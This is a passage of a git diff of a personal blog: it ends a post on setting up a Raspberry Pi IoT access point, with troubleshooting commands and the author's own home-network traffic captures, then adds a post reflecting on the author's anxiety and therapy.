    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/how_i_am_doing/index.html b/public-onion/posts/how_i_am_doing/index.html new file mode 100644 index 0000000..ea18b7a --- /dev/null +++ b/public-onion/posts/how_i_am_doing/index.html @@ -0,0 +1,574 @@ + + + + + + + +How am I doing? | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + How am I doing? +

    + +
    +

    This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I’m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it’s draining me. +Draining me of happiness, being in pursuit of happyness.

    +

    Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. +What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.

    +

    This “others” in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.

    +

    Idk what to do. I feel like I’m stuck in this life that I don’t like, with so much that I love. Does this even make sense? Idk. +I know I’m full of love, and I’m willing to give it to someone.

    +

    Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don’t know if I’m lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people’s hand, and how badly I could get hurt.

    +

    He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8
    +fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n
    +ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv
    +xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG
    +m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n
    +bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO
    +tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d
    +T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n
    ++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz
    +Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex
